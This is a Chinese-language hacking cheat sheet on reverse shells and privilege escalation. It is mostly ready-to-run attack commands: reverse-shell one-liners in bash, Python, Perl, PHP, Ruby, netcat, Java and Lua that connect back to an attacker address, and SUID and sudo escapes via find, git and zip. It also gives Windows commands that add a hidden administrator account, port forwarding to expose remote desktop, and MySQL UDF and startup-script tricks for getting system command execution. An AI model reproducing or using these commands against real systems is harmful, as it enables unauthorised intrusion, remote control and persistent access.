提权以及反弹shell一些方法
netcat反弹shell
kali中使用nc(netcat)进行监听 用法 : nv -lvvp 2333(端口号)
靶机中使用 bash -c 'bash -i >&/dev/tcp/192.168.1.1/2333 0>&1' 同样可以写成一句话木马进行反弹shell。
命令提权
1、使用suid提权,找到一个属于root的具有s权限的文件;s是提权符
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
例如:在DC-1中,首先touch新建一个文件,然后执行
touch abcd
find abcd -exec whoami \;
find / -name abcd -exec "/bin/sh" \; #分号需要转义,find以分号结尾
具有提权功能的Linux可执行文件包括:
nmap
vim
find
bash
more
less
nano
cp
python反弹shell
#!/usr/bin/python
import os,subprocess,socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("攻击机IP地址","攻击机监听端口"))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
其他一些方法
#bash版本:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
#perl版本:
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
#python版本:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
#php版本:
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
#ruby版本:
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
#nc版本:
nc -e /bin/sh 10.0.0.1 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999
#java版本
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
#lua
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
git提权
sudo -l 查看具有sudo执行权限的命令
sudo git -p help或者 sudo git help config
!/bin/bash
zip提权
touch exploit
sudo -u root zip exploit.zip exploit -T --unzip-command="sh -c /bin/bash"
tar提权
收集信息:
内外网
服务器系统和版本 位数
服务器的补丁情况
服务器的安装软件情况
服务器的防护软件情况
端口情况
支持脚本情况
信息收集常用命令:
Windows:
ipconfig /all
net user
netstat -ano
ver
systeminfo
tasklist /svc
taskkill -PID pid号
taskkill /im qq.exe /f
net user test 123456 /add
net localgroup administrators test /add
whoami
CMD无法执行
1、防护软件拦截
2、CMD被降权
3、组件被删除
找可读写目录上传cmd.exe,将执行的cmd.exe路径替换成上传的路径
查找3389端口
1、注册表读取
2、工具扫描
3、命令探针
端口转发
lcx
网站服务器是内网IP:192.168.2.3
外网服务器IP是:192.168.80.151
在内网服务器上执行的lcx命令是:lcx.exe -slave 192.168.80.151 51 192.168.2.3 3389
在外网服务器上执行的lcx命令是:lcx.exe -listen 51 3389
数据库提权
MSSQL提权:安装组件--->开启3389---->创建用户------>提升权限------>完成
Mysql提权:
1、udf提权
获取到对方数据库用户root的账号密码
查看网站源码里面数据库配置文件(common,config.php,common.inc.php,data)
查看数据库的配置文件
暴力破解、mysql密码破解、3306端口入侵
udf提权原理:
通过root权限导出udf.dll到系统目录下,可以通过udf.dll调用执行cmd
导出到\lib/plugin\安装目录下
create function cmdshell returns string soname 'udf.dll'
select cmdshell('net user test 123456 /add');
select cmdshell('net localgroup administrators test /add');
drop function cmdshell //删除函数
2、启动项提权
1、查看我们进入数据库中有什么表
show tables;
默认情况下,test中没有任何表的存在
关键部分:
2、在test数据库下创建一个新的表
create table a(cmd text);
表名为a,字段名为cmd,为text文本
3、在表中插入数据
insert into a values ("set wshshell=createobject(""wscript.shell"")");
insert into a values ("a=wshshell.run(""cmd.exe /c net user test 123456 /add"",0)");
insert into a values ("b=wshshell.run(""cmd.exe /c net localgroup Administrators test /add"",0)")
双引号和括号以及后面的0一定要输入,用这三条命令建立一个vbs的脚本程序!
4、查看数据表
select * form a;
5、输出表为一个vbs的脚本文件
select * from a into outfile "c://开机菜单//启动//a.vbs";
6、重启
3、mof提权
Windows提权:
开启3389
使用批处理文件开3389
使用sql语句开3389
使用exe开3389
使用vb开3389
使用wireshark或cain嗅探3389获取账号名和密码
Linux提权:
uname -r 查看内核版本信息
找到对应版本的exp